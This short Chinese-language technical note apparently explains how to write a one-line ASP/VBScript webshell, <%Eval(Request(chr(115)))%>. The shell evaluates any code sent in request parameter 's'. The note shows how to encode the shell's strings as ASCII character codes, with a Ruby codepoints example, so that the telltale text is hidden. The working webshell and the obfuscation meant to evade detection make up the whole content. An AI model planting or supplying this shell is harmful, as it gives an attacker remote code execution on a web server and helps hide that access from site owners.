Security Webshell Asp Vbscript转换ascii字符串

refer to:
https://www.vbsedit.com/html/c60e2712-20e6-40f2-8fe2-cfb74ca6bca1.asp

vbscript code

<%Eval(Request(chr(115)))%>

115 是小写的s

可以很方便的使用ruby转换：

'eval request("s")'.codepoints

[101, 118, 97, 108, 32, 114, 101, 113, 117, 101, 115, 116, 40, 34, 115, 34, 41]